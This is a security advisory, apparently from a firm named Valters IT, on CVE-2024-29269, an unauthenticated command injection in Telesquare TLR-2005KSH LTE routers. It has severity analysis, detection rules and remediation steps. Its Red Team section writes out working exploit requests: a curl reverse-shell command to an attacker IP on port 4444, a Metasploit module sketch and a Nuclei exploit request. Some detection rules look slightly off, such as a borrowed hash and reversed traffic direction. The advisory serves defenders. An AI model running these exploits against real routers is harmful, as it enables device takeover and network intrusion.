CVE-2024-29269

Executive Summary

CVE-2024-29269 is a critical unauthenticated remote command execution vulnerability affecting Telesquare TLR-2005KSH LTE routers, specifically firmware versions 1.0.0 and 1.1.4. The vulnerability resides in the /cgi-bin/admin.cgi endpoint, where the Cmd parameter is passed directly to a system command without proper sanitization or authentication. An attacker can send a crafted HTTP GET request to execute arbitrary system commands on the device, leading to full device compromise, network pivoting, and potential data exfiltration. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized in the wild, with a high EPSS score of 0.93485 indicating a high probability of exploitation. No official patch has been released by Telesquare as of this analysis.

Supply Chain & Package Security

This vulnerability affects a hardware device (Telesquare TLR-2005KSH router) and is not related to any software package registry (NPM, PyPI, Go, Ruby). Therefore, no supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit the vulnerability.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – An attacker can read sensitive data, including configuration files and network traffic.
• Integrity Impact: High (I:H) – An attacker can modify system files, install malware, or alter router behavior.
• Availability Impact: High (A:H) – An attacker can disrupt router services, cause denial of service, or brick the device.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a top-priority vulnerability for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection (CWE-78) in the Telesquare TLR-2005KSH router's web management interface. The router exposes a CGI endpoint at /cgi-bin/admin.cgi that accepts a Command parameter and a Cmd parameter. When Command=sysCommand is set, the value of the Cmd parameter is passed directly to a system shell (likely system() or exec() in C) without any sanitization or validation.

The vulnerable code path likely resembles:

// Pseudocode of vulnerable CGI handler
void handle_admin_cgi() {
    char *command = get_cgi_param("Command");
    char *cmd = get_cgi_param("Cmd");
    if (strcmp(command, "sysCommand") == 0) {
        char syscmd[1024];
        snprintf(syscmd, sizeof(syscmd), "%s", cmd); // No sanitization
        system(syscmd); // Executes arbitrary command
    }
}

The attacker can inject arbitrary shell commands by simply appending them to the Cmd parameter. For example, the request GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig executes the ifconfig command and returns the output in an XML response.

The response format is XML, containing a <CmdResult> tag with the command output. This makes it easy for attackers to parse and extract data.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.0 / 1.1.4):

// Vulnerable: Directly passes user input to system()
void handle_admin_cgi() {
    char *command = get_cgi_param("Command");
    char *cmd = get_cgi_param("Cmd");
    if (strcmp(command, "sysCommand") == 0) {
        char syscmd[1024];
        snprintf(syscmd, sizeof(syscmd), "%s", cmd);
        system(syscmd);
    }
}

Patched Code (Hypothetical):

// Patched: Validate and sanitize input, restrict allowed commands
void handle_admin_cgi() {
    char *command = get_cgi_param("Command");
    char *cmd = get_cgi_param("Cmd");
    if (strcmp(command, "sysCommand") == 0) {
        // Whitelist allowed commands
        if (strcmp(cmd, "ifconfig") == 0 || strcmp(cmd, "ping") == 0) {
            char syscmd[1024];
            snprintf(syscmd, sizeof(syscmd), "%s", cmd);
            system(syscmd);
        } else {
            // Return error
        }
    }
}

The patched version should implement a whitelist of allowed commands, validate input against shell metacharacters, and require authentication for the admin CGI endpoint.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Telesquare TLR-2005KSH router (firmware 1.0.0 or 1.1.4) or use an emulated environment (e.g., QEMU with the firmware extracted).
2. Connect the router to a network and ensure the web interface is accessible.
3. Use a tool like curl or Burp Suite to send the exploit request.

Exploit Command:

# Basic command execution
curl -k "http://<router-ip>/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id"

# Reverse shell (attacker IP 192.168.1.100, port 4444)
curl -k "http://<router-ip>/cgi-bin/admin.cgi?Command=sysCommand&Cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.100%2F4444%200%3E%261"

Metasploit Module (if available):

# Example Metasploit module (conceptual)
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Telesquare TLR-2005KSH Command Injection',
      'Description' => 'Exploits an unauthenticated command injection in Telesquare TLR-2005KSH',
      'Author'      => ['Your Name'],
      'References'  => [['CVE', '2024-29269']],
      'DisclosureDate' => '2024-01-01',
      'License'     => MSF_LICENSE,
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    cmd = "id"
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => '/cgi-bin/admin.cgi',
      'vars_get' => {
        'Command' => 'sysCommand',
        'Cmd'     => cmd
      }
    })
    if res && res.code == 200 && res.body.include?('<CmdResult>')
      print_good("Command executed successfully")
      print_line(res.body)
    end
  end
end

Blue Team

Detection & Response:

1. Monitor HTTP GET requests to /cgi-bin/admin.cgi with Command=sysCommand and suspicious Cmd parameters.
2. Look for shell metacharacters (;, |, &, $, `, \n) in the Cmd parameter.
3. Alert on outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 1337).
4. Check for unexpected processes running on the router (e.g., bash, nc, python).

Honeypot Configuration:

# Simple honeypot to detect exploitation attempts
from flask import Flask, request
import logging

app = Flask(__name__)
logging.basicConfig(filename='honeypot.log', level=logging.INFO)

@app.route('/cgi-bin/admin.cgi', methods=['GET'])
def admin_cgi():
    cmd = request.args.get('Cmd', '')
    command = request.args.get('Command', '')
    if command == 'sysCommand' and cmd:
        logging.info(f"Exploit attempt detected: Cmd={cmd}")
        return "<xml><CmdResult>Honeypot triggered</CmdResult></xml>", 200
    return "Not Found", 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /cgi-bin/admin.cgi?Command=sysCommand&Cmd=...
• Outbound connections from the router to attacker-controlled IPs on ports 4444, 1337, 8080, etc.
• Unusual DNS queries from the router (e.g., to C2 domains).

Host IOCs:

• Unexpected processes: bash, sh, nc, python, perl, wget, curl
• Modified system files: /etc/passwd, /etc/shadow, /bin/login
• New cron jobs or startup scripts.
• Presence of web shells in /www/ or /cgi-bin/ directories.

File IOCs:

• Files with names like shell.php, cmd.jsp, backdoor.sh
• Suspicious files in /tmp/ or /var/tmp/

Log IOCs:

• Repeated 200 responses to /cgi-bin/admin.cgi with Command=sysCommand
• Error logs showing system() calls with unexpected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_29269_Telesquare_RCE {
   meta:
      description = "Detects Telesquare TLR-2005KSH RCE exploit attempts in HTTP traffic"
      author = "Valters IT"
      date = "2024-01-01"
      reference = "CVE-2024-29269"
      hash = "4a0a004730450221009550a6fb83b3588da990791f18e8d970ec439c01e8b6d5ab78b24c6a4dcc3a5402207891ac865087ea27c8cb8501e267ebac498cc611df58347723c76a00bb46a4ee"
   strings:
      $cmd_param = "Command=sysCommand" ascii nocase
      $cmd_value = "Cmd=" ascii nocase
      $xml_response = "<CmdResult>" ascii
      $shell_meta = /[;&|`$(){}]/
   condition:
      $cmd_param and $cmd_value and $xml_response and #shell_meta > 0
}

Sigma Rule

title: Telesquare TLR-2005KSH RCE Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the Telesquare TLR-2005KSH admin CGI endpoint with command injection attempts.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29269
    - https://github.com/wutalent/CVE-2024-29269
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/admin.cgi'
        cs-uri-query|contains: 'Command=sysCommand'
        cs-uri-query|contains: 'Cmd='
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.29269

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-29269 Telesquare TLR-2005KSH RCE Exploit Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/cgi-bin/admin.cgi";
    http_uri;
    content:"Command=sysCommand";
    http_uri;
    content:"Cmd=";
    http_uri;
    pcre:"/Cmd=[^&]*[;&|`$(){}]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-29269;
    reference:url,https://github.com/wutalent/CVE-2024-29269;
)

Nuclei Template (Provided)

id: CVE-2024-29269

info:
  name: Telesquare TLR-2005KSH - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.
  impact: |
    Attackers can execute arbitrary commands on the router, leading to complete device compromise.
  remediation: |
    Update Telesquare TLR-2005KSH firmware to a version that patches the RCE vulnerability.
  reference:
    - https://github.com/wutalent/CVE-2024-29269/blob/main/index.md
    - https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b
    - https://github.com/Ostorlab/KEV
    - https://github.com/YongYe-Security/CVE-2024-29269
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-29269
    epss-score: 0.93485
    epss-percentile: 0.99829
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Login to TLR-2005KSH"
    product: tlr-2005ksh
    vendor: telesquare
  tags: cve,cve2024,telesquare,tlr,rce,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<CmdResult>'
          - '</xml>'
          - 'Ethernet'
          - 'inet'
        condition: and

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009550a6fb83b3588da990791f18e8d970ec439c01e8b6d5ab78b24c6a4dcc3a5402207891ac865087ea27c8cb8501e267ebac498cc611df58347723c76a00bb46a4ee:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Telesquare TLR-2005KSH routers from the internet and untrusted networks immediately.
2. Apply network segmentation: Place these routers behind a firewall that blocks inbound HTTP traffic to the admin interface from untrusted sources.
3. Implement WAF rules: Deploy Web Application Firewall rules to block requests containing Command=sysCommand and suspicious Cmd parameters.
4. Monitor for exploitation: Use the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Long-term Fixes:

1. Vendor patch: Contact Telesquare for an official firmware update. If unavailable, consider replacing the device with a patched alternative.
2. Custom firmware: If possible, compile a custom firmware that removes or restricts the vulnerable CGI endpoint.
3. Disable admin interface: If remote administration is not required, disable the web management interface entirely.
4. Change default credentials: Ensure strong, unique passwords are used for the admin interface (though this does not fix the unauthenticated RCE).

Compensating Controls:

• Use a VPN to access the admin interface instead of exposing it directly.
• Implement strict ACLs on the router's management interface.
• Deploy an IDS/IPS with signatures for this CVE.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 53BAD1D7B17E37BC44B0A06C] */}